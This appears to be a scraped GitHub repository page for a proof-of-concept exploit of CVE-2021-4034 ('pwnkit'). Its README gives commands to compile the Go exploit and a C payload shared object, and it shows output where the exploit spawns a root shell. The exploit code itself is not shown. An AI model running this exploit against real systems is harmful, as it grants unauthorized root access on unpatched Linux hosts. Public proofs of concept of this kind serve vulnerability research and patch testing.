Skip to content

moloch--/poc-cve-2021-4034

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

11 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

poc-cve-2021-4034

PoC for CVE-2021-4034 dubbed pwnkit

Compile exploit.go

go build -o exploit exploit.go

Compile payload.so

Once compiled put the shared object in the same folder as the exploit binary

gcc payload/payload.c -o payload.so -shared -fPIC

Enjoy

dzonerzy@DESKTOP-5JHC90H:/mnt/c/Users/DZONERZY/GolangProjects/pkpwn$ ./exploit
Spawning root shell!
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1000(dzonerzy)

About

PoC for CVE-2021-4034 dubbed pwnkit

Resources

License

Stars

Watchers

Forks

Packages

No packages published

Languages

  • Go 65.9%
  • C 28.6%
  • Makefile 5.5%